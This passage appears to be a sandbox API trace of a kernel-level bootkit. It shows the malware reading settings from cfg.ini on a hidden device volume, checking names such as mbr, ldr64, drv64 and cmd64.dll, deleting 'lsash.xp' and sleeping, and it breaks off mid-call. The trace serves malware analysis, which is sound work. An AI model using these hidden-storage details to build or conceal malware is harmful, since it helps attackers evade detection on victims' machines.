ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] KeLeaveCriticalRegion () [0124.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.693] ReleaseMutex (hMutex=0xf0) returned 1 [0124.693] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.693] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.693] KeEnterCriticalRegion () [0124.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.693] IdePortDispatch () returned 0x103 [0124.693] KeWaitForMutexObject () returned 0x0 [0124.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.694] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2170 [0124.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.694] KeLeaveCriticalRegion () [0124.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.694] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.694] KeEnterCriticalRegion () [0124.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.694] KeLeaveCriticalRegion () [0124.694] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.694] KeEnterCriticalRegion () [0124.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.694] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.694] IdePortDispatch () returned 0x103 [0124.694] KeWaitForMutexObject () returned 0x0 [0124.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.694] KeLeaveCriticalRegion () [0124.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.694] KeEnterCriticalRegion () [0124.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.694] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a3000 [0124.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.694] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.694] IdePortDispatch () returned 0x103 [0124.695] KeWaitForMutexObject () returned 0x0 [0124.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.695] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.695] IdePortDispatch () returned 0x103 [0124.695] KeWaitForMutexObject () returned 0x0 [0124.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.695] KeLeaveCriticalRegion () [0124.695] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.695] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.695] KeEnterCriticalRegion () [0124.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.696] KeLeaveCriticalRegion () [0124.696] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.696] KeEnterCriticalRegion () [0124.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.696] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.696] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.696] KeLeaveCriticalRegion () [0124.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.696] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.696] KeEnterCriticalRegion () [0124.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.696] ExFreePoolWithTag (P=0xfffffa8003bf2170, Tag=0x0) [0124.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.696] KeLeaveCriticalRegion () [0124.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.696] ReleaseMutex (hMutex=0xf0) returned 1 [0124.696] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.696] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.696] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.696] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.696] KeEnterCriticalRegion () [0124.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.696] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.696] IdePortDispatch () returned 0x103 [0124.696] KeWaitForMutexObject () returned 0x0 [0124.696] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.696] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.696] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.696] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.696] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.696] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.696] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.697] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.697] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.697] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.697] KeLeaveCriticalRegion () [0124.697] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.697] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.697] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.697] KeEnterCriticalRegion () [0124.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.697] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.697] IdePortDispatch () returned 0x103 [0124.697] KeWaitForMutexObject () returned 0x0 [0124.697] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.697] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.697] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.697] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.697] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.697] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.697] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.697] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.697] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.697] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.697] KeLeaveCriticalRegion () [0124.697] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.697] ReleaseMutex (hMutex=0x100) returned 1 [0124.698] Sleep (dwMilliseconds=0x2bf20) [0124.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d86c790, dwHighDateTime=0x1d24fa4)) [0124.705] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.705] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.705] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.705] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.705] KeEnterCriticalRegion () [0124.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.705] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.705] IdePortDispatch () returned 0x103 [0124.706] KeWaitForMutexObject () returned 0x0 [0124.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.706] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.706] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.706] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.706] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.706] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3f60 [0124.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.706] KeLeaveCriticalRegion () [0124.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.706] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.706] KeEnterCriticalRegion () [0124.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.706] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.706] KeLeaveCriticalRegion () [0124.706] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.706] KeEnterCriticalRegion () [0124.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.706] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.706] IdePortDispatch () returned 0x103 [0124.706] KeWaitForMutexObject () returned 0x0 [0124.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.706] KeLeaveCriticalRegion () [0124.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.706] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.706] KeEnterCriticalRegion () [0124.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a6000 [0124.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.707] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.707] IdePortDispatch () returned 0x103 [0124.707] KeWaitForMutexObject () returned 0x0 [0124.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.707] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.707] IdePortDispatch () returned 0x103 [0124.707] KeWaitForMutexObject () returned 0x0 [0124.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.707] KeLeaveCriticalRegion () [0124.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.708] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.708] KeEnterCriticalRegion () [0124.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] KeLeaveCriticalRegion () [0124.708] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.708] KeEnterCriticalRegion () [0124.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.708] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] KeLeaveCriticalRegion () [0124.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.708] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.708] KeEnterCriticalRegion () [0124.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] ExFreePoolWithTag (P=0xfffffa8003bf3f60, Tag=0x0) [0124.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] KeLeaveCriticalRegion () [0124.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.708] ReleaseMutex (hMutex=0xf0) returned 1 [0124.708] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.708] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.708] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.708] KeEnterCriticalRegion () [0124.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.708] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.708] IdePortDispatch () returned 0x103 [0124.709] KeWaitForMutexObject () returned 0x0 [0124.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.709] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.709] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.709] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.709] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.709] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3a80 [0124.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.709] KeLeaveCriticalRegion () [0124.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.709] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.709] KeEnterCriticalRegion () [0124.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.709] KeLeaveCriticalRegion () [0124.709] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.709] KeEnterCriticalRegion () [0124.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.709] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.709] IdePortDispatch () returned 0x103 [0124.709] KeWaitForMutexObject () returned 0x0 [0124.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.709] KeLeaveCriticalRegion () [0124.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.709] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.709] KeEnterCriticalRegion () [0124.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a7000 [0124.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 